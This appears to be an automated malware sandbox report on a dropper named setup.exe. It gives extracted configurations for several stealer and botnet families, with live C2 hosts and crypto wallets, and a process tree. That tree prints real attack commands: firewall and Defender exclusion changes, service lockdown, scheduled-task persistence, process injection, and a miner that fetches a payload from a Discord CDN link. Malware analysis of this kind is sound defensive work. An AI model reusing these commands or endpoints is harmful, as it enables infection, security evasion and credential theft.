Overview

overview

10

Static

static

7

setup.exe

windows10-1703-x64

10

setup.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    1803s
  • max time network
    1807s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    21-04-2024 08:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup.exe

  • Size

    785.0MB

  • MD5

    6755776d1f19b3ed3ec620031c2e81da

  • SHA1

    96b6f2998ec6af205710e00f5e40beb727d440c3

  • SHA256

    699324d2d1bf2a07e459d770a2afc8ba5e0e5e34431647cf8aab656f548921bb

  • SHA512

    e13765b95290f1c13e52415d0041bc34e4ce36aeb164d9ff2ba11e811d3eedc31375798d35c114ac1b0932c8fa8f88e6ca8cd13a5dec2f927bacd0499c3b4429

  • SSDEEP

    98304:CcQJYvdLPMWB3hQaxefY7BqlWRrA8QixQiiorKRf:CcQJYvdDnB3iaxew7slWZCiicKRf

Score
10/10
gluptebalummaphorphiexredlineriseprosocks5systemzstealcvidarzgratlogsdiller cloud (tg: @logsdillabot)botnetdiscoverydropperevasioninfostealerloaderpersistencepyinstallerratrootkitspywarestealerthemidatrojanupxvmprotectworm

Malware Config

Extracted

Family

vidar

C2

https://steamcommunity.com/profiles/76561199673019888

https://t.me/irfail
Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0

Extracted

Family

vidar

Version

RoInitialize

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

C2

5.42.65.50:33080

Extracted

Family

phorphiex

C2

http://185.215.113.66/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Extracted

Family

lumma

C2

https://greetclassifytalk.shop/api

https://productivelookewr.shop/api

https://tolerateilusidjukl.shop/api

https://shatterbreathepsw.shop/api

https://shortsvelventysjo.shop/api

https://incredibleextedwj.shop/api

https://alcojoldwograpciw.shop/api

https://liabilitynighstjsko.shop/api

https://demonstationfukewko.shop/api

Extracted

Family

socks5systemz

C2

http://aafviqb.ru/search/?q=67e28dd86d5ff028450dff177c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f571ea771795af8e05c645db22f31dfe339426fa11a366c350adb719a9577e55b8603e983a608ffc16c1e99d9333

http://aafviqb.ru/search/?q=67e28dd86d5ff028450dff177c27d78406abdd88be4b12eab517aa5c96bd86ee918f4b825a8bbc896c58e713bc90c91936b5281fc235a925ed3e56d6bd974a95129070b616e96cc92be510b866db52bee348ee4c2b14a82966836f23d7f210c7ee969d3acb679f1e

Signatures

  • Detect Vidar Stealer 5 IoCs
    stealer
  • Detect ZGRat V1 2 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 2 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 2 IoCs
    evasion
  • Modifies security service 2 TTPs 2 IoCs
    evasion
  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Socks5Systemz

    Socks5Systemz is a botnet written in C++.

    botnetsocks5systemz
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs 19 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 40 IoCs
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 44 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Windows security modification 2 TTPs 21 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 53 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 12 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 17 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • GoLang User-Agent 23 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3316
      • C:\Users\Admin\AppData\Local\Temp\setup.exe
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        2⤵
        • Modifies firewall policy service
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of WriteProcessMemory
        PID:380
        • C:\Users\Admin\Documents\SimpleAdobe\a52BLFb6OW4XfLXgOmlsgwN9.exe
          C:\Users\Admin\Documents\SimpleAdobe\a52BLFb6OW4XfLXgOmlsgwN9.exe
          3⤵
          • Modifies security service
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Adds Run key to start application
          • Drops file in Windows directory
          PID:4724
          • C:\Users\Admin\AppData\Local\Temp\2238819777.exe
            C:\Users\Admin\AppData\Local\Temp\2238819777.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Adds Run key to start application
            • Drops file in Windows directory
            • Suspicious behavior: SetClipboardViewer
            PID:2256
            • C:\Users\Admin\AppData\Local\Temp\105601746.exe
              C:\Users\Admin\AppData\Local\Temp\105601746.exe
              5⤵
              • Executes dropped EXE
              PID:1108
            • C:\Users\Admin\AppData\Local\Temp\3089822941.exe
              C:\Users\Admin\AppData\Local\Temp\3089822941.exe
              5⤵
              • Executes dropped EXE
              PID:4844
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 384
                6⤵
                • Program crash
                PID:2512
            • C:\Users\Admin\AppData\Local\Temp\68204206.exe
              C:\Users\Admin\AppData\Local\Temp\68204206.exe
              5⤵
              • Executes dropped EXE
              PID:3016
          • C:\Users\Admin\AppData\Local\Temp\2247830726.exe
            C:\Users\Admin\AppData\Local\Temp\2247830726.exe
            4⤵
            • Executes dropped EXE
            PID:1096
            • C:\Users\Admin\AppData\Local\Temp\1462521807.exe
              C:\Users\Admin\AppData\Local\Temp\1462521807.exe
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              PID:1436
          • C:\Users\Admin\AppData\Local\Temp\49184543.exe
            C:\Users\Admin\AppData\Local\Temp\49184543.exe
            4⤵
            • Executes dropped EXE
            PID:2372
        • C:\Users\Admin\Documents\SimpleAdobe\6QS3JhM6TGPnRs2JcIeTcTvT.exe
          C:\Users\Admin\Documents\SimpleAdobe\6QS3JhM6TGPnRs2JcIeTcTvT.exe
          3⤵
          • Executes dropped EXE
          PID:996
        • C:\Users\Admin\Documents\SimpleAdobe\aG7Z_Kq7BjZ6kl0iyVq0RPvN.exe
          C:\Users\Admin\Documents\SimpleAdobe\aG7Z_Kq7BjZ6kl0iyVq0RPvN.exe
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          PID:2032
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
            4⤵
              PID:756
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2844
          • C:\Users\Admin\Documents\SimpleAdobe\niYoA6nMyEFE3FL0gbJhC9fx.exe
            C:\Users\Admin\Documents\SimpleAdobe\niYoA6nMyEFE3FL0gbJhC9fx.exe
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:2932
          • C:\Users\Admin\Documents\SimpleAdobe\3386h0T7voV4qdGobAbSfN8k.exe
            C:\Users\Admin\Documents\SimpleAdobe\3386h0T7voV4qdGobAbSfN8k.exe
            3⤵
            • Modifies firewall policy service
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in System32 directory
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:4316
          • C:\Users\Admin\Documents\SimpleAdobe\8_V6if0g8W9g_E_3zapceeZ3.exe
            C:\Users\Admin\Documents\SimpleAdobe\8_V6if0g8W9g_E_3zapceeZ3.exe
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:2432
          • C:\Users\Admin\Documents\SimpleAdobe\haVSNRXD1uE3ixmuIk7UAw4L.exe
            C:\Users\Admin\Documents\SimpleAdobe\haVSNRXD1uE3ixmuIk7UAw4L.exe
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:420
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2560
            • C:\Users\Admin\Documents\SimpleAdobe\haVSNRXD1uE3ixmuIk7UAw4L.exe
              "C:\Users\Admin\Documents\SimpleAdobe\haVSNRXD1uE3ixmuIk7UAw4L.exe"
              4⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Checks for VirtualBox DLLs, possible anti-VM trick
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:4608
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5044
              • C:\Windows\System32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                  PID:4664
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:1012
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2016
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2988
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe
                  5⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Manipulates WinMonFS driver.
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2016
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1100
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    6⤵
                    • Creates scheduled task(s)
                    PID:4996
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /delete /tn ScheduledUpdate /f
                    6⤵
                      PID:1268
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4664
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1144
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      6⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1392
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                      6⤵
                      • Creates scheduled task(s)
                      PID:3212
                    • C:\Windows\windefender.exe
                      "C:\Windows\windefender.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:816
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        7⤵
                          PID:4376
                          • C:\Windows\SysWOW64\sc.exe
                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                            8⤵
                            • Launches sc.exe
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3180
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        6⤵
                        • Creates scheduled task(s)
                        PID:1416
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:3892
                      • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                        6⤵
                        • Executes dropped EXE
                        PID:4696
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:4588
                      • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        6⤵
                        • Executes dropped EXE
                        PID:4628
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:5024
                      • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                        6⤵
                        • Executes dropped EXE
                        PID:3336
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:5016
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        6⤵
                        • Creates scheduled task(s)
                        PID:4664
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:164
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        6⤵
                        • Creates scheduled task(s)
                        PID:4000
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:4236
                      • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                        6⤵
                        • Executes dropped EXE
                        PID:60
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        6⤵
                        • Creates scheduled task(s)
                        PID:2904
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:1948
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:5112
                      • C:\Windows\SYSTEM32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        6⤵
                        • Creates scheduled task(s)
                        PID:972
                • C:\Users\Admin\Documents\SimpleAdobe\Z_Rl_QdVfRqRveUnF44bv7nl.exe
                  C:\Users\Admin\Documents\SimpleAdobe\Z_Rl_QdVfRqRveUnF44bv7nl.exe
                  3⤵
                  • Executes dropped EXE
                  PID:4008
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 612
                    4⤵
                    • Program crash
                    PID:1544
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4008 -s 592
                    4⤵
                    • Program crash
                    PID:2084
                • C:\Users\Admin\Documents\SimpleAdobe\xJfLrlAkXCJhPlvRvnCZIhde.exe
                  C:\Users\Admin\Documents\SimpleAdobe\xJfLrlAkXCJhPlvRvnCZIhde.exe
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:2732
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    4⤵
                      PID:3160
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      4⤵
                        PID:4044
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        4⤵
                          PID:1612
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                          4⤵
                          • Modifies system certificate store
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4492
                      • C:\Users\Admin\Documents\SimpleAdobe\bHhJyyNICXHPnDaJFWH9PMyX.exe
                        C:\Users\Admin\Documents\SimpleAdobe\bHhJyyNICXHPnDaJFWH9PMyX.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4424
                        • C:\Users\Admin\AppData\Local\Temp\is-D5RVQ.tmp\is-V6Q86.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-D5RVQ.tmp\is-V6Q86.tmp" /SL4 $4023A "C:\Users\Admin\Documents\SimpleAdobe\bHhJyyNICXHPnDaJFWH9PMyX.exe" 4284232 52224
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4988
                          • C:\Users\Admin\AppData\Local\Grape Berry Studio\grapeberrystudio.exe
                            "C:\Users\Admin\AppData\Local\Grape Berry Studio\grapeberrystudio.exe" -i
                            5⤵
                            • Executes dropped EXE
                            PID:1816
                          • C:\Users\Admin\AppData\Local\Grape Berry Studio\grapeberrystudio.exe
                            "C:\Users\Admin\AppData\Local\Grape Berry Studio\grapeberrystudio.exe" -s
                            5⤵
                            • Executes dropped EXE
                            PID:4300
                      • C:\Users\Admin\Documents\SimpleAdobe\KBYle3wttRE1VKrE0ifZgvK3.exe
                        C:\Users\Admin\Documents\SimpleAdobe\KBYle3wttRE1VKrE0ifZgvK3.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3644
                      • C:\Users\Admin\Documents\SimpleAdobe\l3CbeQ5Nv3XLYwuUNxiaCzcx.exe
                        C:\Users\Admin\Documents\SimpleAdobe\l3CbeQ5Nv3XLYwuUNxiaCzcx.exe
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:3676
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                          4⤵
                            PID:4540
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 4540 -s 2132
                              5⤵
                              • Program crash
                              PID:4220
                        • C:\Users\Admin\Documents\SimpleAdobe\x7DmrkYxKCCMqOA3UVk0qmRL.exe
                          C:\Users\Admin\Documents\SimpleAdobe\x7DmrkYxKCCMqOA3UVk0qmRL.exe
                          3⤵
                          • Executes dropped EXE
                          PID:3204
                          • C:\Users\Admin\AppData\Local\Temp\7zSCCBC.tmp\Install.exe
                            .\Install.exe /edidUkU "525403" /S
                            4⤵
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Enumerates system info in registry
                            PID:2208
                            • C:\Windows\SysWOW64\forfiles.exe
                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                              5⤵
                                PID:4260
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                  6⤵
                                    PID:8
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                      7⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2980
                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        8⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2460
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 16:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\lllSdWN.exe\" ZO /TSsite_idIKi 525403 /S" /V1 /F
                                  5⤵
                                  • Drops file in Windows directory
                                  • Creates scheduled task(s)
                                  PID:3368
